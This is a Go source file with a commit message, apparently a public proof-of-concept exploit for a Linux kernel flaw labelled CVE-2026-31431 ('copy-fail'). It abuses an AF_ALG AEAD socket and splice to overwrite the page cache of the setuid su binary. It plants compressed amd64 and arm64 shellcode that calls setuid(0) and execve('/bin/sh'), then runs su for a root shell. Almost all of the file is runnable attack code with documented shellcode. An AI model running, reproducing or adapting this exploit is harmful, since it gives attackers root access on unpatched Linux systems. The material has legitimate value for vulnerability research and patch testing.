copyfail-go/main.go
Ali 58fc30304d
feat: add aarch64 payload and resolve su via PATH
- Adds an aarch64 ELF shellcode payload alongside the existing amd64 one,
  selected at runtime via runtime.GOARCH. The arm64 ELF is a hand-built
  172-byte binary performing the same setuid(0) / execve("/bin/sh") /
  exit(0) sequence (syscalls 146, 221, 93). Disassembly for both payloads
  is documented inline.
- Replaces the hardcoded /usr/bin/su path with resolveSu(): tries
  /usr/bin/su first, then falls back to exec.LookPath("su") so the PoC
  works on systems where su lives elsewhere (e.g. /bin/su on Debian
  derivatives, or anywhere a non-standard PATH points).
2026-04-30 14:04:08 +12:00

262 lines
8 KiB
Go

//go:build linux
// +build linux
package main
import (
"bytes"
"compress/zlib"
"encoding/hex"
"fmt"
"io"
"log"
"os"
"os/exec"
"runtime"
"strings"
"unsafe"
"golang.org/x/sys/unix"
)
const (
// Cryptographic API Socket Constants
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5
)
// packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload
func packCmsg(level, typ int, data []byte) []byte {
cmsgSpace := unix.CmsgSpace(len(data))
b := make([]byte, cmsgSpace)
h := (*unix.Cmsghdr)(unsafe.Pointer(&b[0]))
h.Level = int32(level)
h.Type = int32(typ)
h.SetLen(unix.CmsgLen(len(data)))
copy(b[unix.CmsgLen(0):], data)
return b
}
// c is the core vulnerability trigger function, replacing 4 bytes of the target file's page cache
func c(f *os.File, t int, cData []byte) {
// 1. Create AF_ALG cryptographic socket
fd, err := unix.Socket(unix.AF_ALG, unix.SOCK_SEQPACKET, 0)
if err != nil {
log.Fatalf("Socket creation failed: %v", err)
}
defer unix.Close(fd)
// 2. Bind it to the vulnerable Authenticated Encryption wrapper
sa := &unix.SockaddrALG{
Type: "aead",
Name: "authencesn(hmac(sha256),cbc(aes))",
}
if err := unix.Bind(fd, sa); err != nil {
log.Fatalf("Socket Bind failed: %v", err)
}
// 3. Setup dummy key and auth sizes
keyHex := "0800010000000010" + strings.Repeat("0", 64)
keyBytes, _ := hex.DecodeString(keyHex)
if err := unix.SetsockoptString(fd, SOL_ALG, ALG_SET_KEY, string(keyBytes)); err != nil {
log.Fatalf("Setsockopt(key) failed: %v", err)
}
if err := unix.SetsockoptInt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4); err != nil {
log.Fatalf("Setsockopt(authsize) failed: %v", err)
}
// 4. Accept a new operational socket connection.
// AF_ALG requires accept(2) with NULL addr/addrlen; unix.Accept passes
// non-NULL pointers and the kernel returns ECONNABORTED. See SockaddrALG
// docs in golang.org/x/sys/unix.
uFdRaw, _, errno := unix.Syscall6(unix.SYS_ACCEPT4, uintptr(fd), 0, 0, 0, 0, 0)
if errno != 0 {
log.Fatalf("Accept failed: %v", errno)
}
uFd := int(uFdRaw)
defer unix.Close(uFd)
// 5. Build Control Messages (CMSG)
var oob []byte
oob = append(oob, packCmsg(SOL_ALG, ALG_SET_OP, []byte{0, 0, 0, 0})...) // ALG_SET_OP (Decrypt)
oob = append(oob, packCmsg(SOL_ALG, ALG_SET_IV, append([]byte{0x10}, make([]byte, 19)...))...) // ALG_SET_IV (20 bytes)
oob = append(oob, packCmsg(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, []byte{8, 0, 0, 0})...) // ALG_SET_AEAD_ASSOCLEN
// 6. Send payload payload out-of-band configuring encryption state
msgData := append([]byte("AAAA"), cData...)
err = unix.Sendmsg(uFd, msgData, oob, nil, unix.MSG_MORE)
if err != nil {
log.Fatalf("Sendmsg failed: %v", err)
}
// 7. Setup standard pipes for the splice
var p [2]int
if err := unix.Pipe(p[:]); err != nil {
log.Fatalf("Pipe creation failed: %v", err)
}
defer unix.Close(p[0])
defer unix.Close(p[1])
// 8. Splice magic (Moves read-only page cache refs into the pipe -> then to the crypto socket)
o := t + 4
offset := int64(0)
// Splice from the target file into the pipe
_, err = unix.Splice(int(f.Fd()), &offset, p[1], nil, o, 0)
if err != nil {
log.Fatalf("Splice (File->Pipe) failed: %v", err)
}
// Splice from the pipe into the active crypto socket
_, err = unix.Splice(p[0], nil, uFd, nil, o, 0)
if err != nil {
log.Fatalf("Splice (Pipe->Socket) failed: %v", err)
}
// 9. Consume response, triggering the memory-overwrite condition
buf := make([]byte, 8+t)
unix.Read(uFd, buf)
}
func decompressPayload(zlibBytes []byte) []byte {
r, err := zlib.NewReader(bytes.NewReader(zlibBytes))
if err != nil {
log.Fatalf("Zlib decompression failed: %v", err)
}
payload, err := io.ReadAll(r)
r.Close()
if err != nil {
log.Fatalf("Read zlib payload: %v", err)
}
return payload
}
func printHelp() {
prog := os.Args[0]
fmt.Fprintf(os.Stderr, "Usage: %s [-h|--help]\n\n", prog)
fmt.Fprintf(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).\n")
fmt.Fprintf(os.Stderr, "Overwrites the page cache of su and runs su.\n")
fmt.Fprintf(os.Stderr, "See https://copy.fail for for information.\n")
}
// Minimal static ELF that calls setuid(0); execve("/bin/sh", NULL, NULL); exit(0).
// One per supported architecture, zlib-compressed for compactness.
//
// x86_64 ELF (160 bytes) - shellcode at file offset 0x78:
// 31 c0 xor eax, eax
// 31 ff xor edi, edi
// b0 69 mov al, 0x69 ; SYS_setuid
// 0f 05 syscall
// 48 8d 3d 0f.. lea rdi, [rip+0xf] ; "/bin/sh"
// 31 f6 xor esi, esi
// 6a 3b 58 push 0x3b; pop rax ; SYS_execve
// 99 cdq ; rdx = 0
// 0f 05 syscall
// 31 ff xor edi, edi
// 6a 3c 58 push 0x3c; pop rax ; SYS_exit
// 0f 05 syscall
//
// aarch64 ELF (172 bytes) - shellcode at file offset 0x78:
// d2800000 mov x0, #0
// d2801248 mov x8, #146 ; SYS_setuid
// d4000001 svc #0
// 10000100 adr x0, sh
// d2800001 mov x1, #0
// d2800002 mov x2, #0
// d2801ba8 mov x8, #221 ; SYS_execve
// d4000001 svc #0
// d2800000 mov x0, #0
// d2800ba8 mov x8, #93 ; SYS_exit
// d4000001 svc #0
// "/bin/sh\0"
var payloadsZlibHex = map[string]string{
"amd64": "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3",
"arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578",
}
// resolveSu returns the path to the su binary. It prefers /usr/bin/su when
// present; otherwise it walks PATH (via exec.LookPath, equivalent to which(1)).
func resolveSu() (string, error) {
const fallback = "/usr/bin/su"
if _, err := os.Stat(fallback); err == nil {
return fallback, nil
}
p, err := exec.LookPath("su")
if err != nil {
return "", fmt.Errorf("su not found in PATH and not at %s: %w", fallback, err)
}
return p, nil
}
func main() {
for _, arg := range os.Args[1:] {
switch arg {
case "-h", "--help", "-help":
printHelp()
os.Exit(0)
}
}
// Pick payload for the running architecture. The amd64 ELF is the
// original from https://github.com/theori-io/copy-fail-CVE-2026-31431;
// the arm64 ELF is an equivalent reconstructed from scratch (see the
// payloadsZlibHex doc comment for shellcode disassembly).
payloadHex, ok := payloadsZlibHex[runtime.GOARCH]
if !ok {
log.Fatalf("Unsupported architecture: %s (need amd64 or arm64)", runtime.GOARCH)
}
payloadZlib, err := hex.DecodeString(payloadHex)
if err != nil {
log.Fatalf("Invalid hex payload: %v", err)
}
payload := decompressPayload(payloadZlib)
suPath, err := resolveSu()
if err != nil {
log.Fatalf("%v", err)
}
// Open target file in read-only mode
f, err := os.Open(suPath)
if err != nil {
log.Fatalf("Failed to open target file: %v", err)
}
defer f.Close()
// Iteratively overwrite the page cache of the file, 4 bytes at a time
log.Printf("Overwriting page cache of %s with %d bytes", f.Name(), len(payload))
for i := 0; i < len(payload); i += 4 {
end := i + 4
if end > len(payload) {
end = len(payload)
}
c(f, i, payload[i:end])
if len(payload) < 10000 {
if i%100 == 0 {
log.Printf(" ... wrote %d bytes", i+4)
}
} else {
if i%10000 == 0 {
log.Printf(" ... wrote %d bytes", i+4)
}
}
}
log.Printf(" ... wrote %d bytes", len(payload))
// Execute the now-overwritten binary to trigger privilege escalation
log.Println("Executing payload")
var cmd *exec.Cmd
cmd = exec.Command("su")
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
log.Fatalf("Failed to execute payload: %v", err)
}
}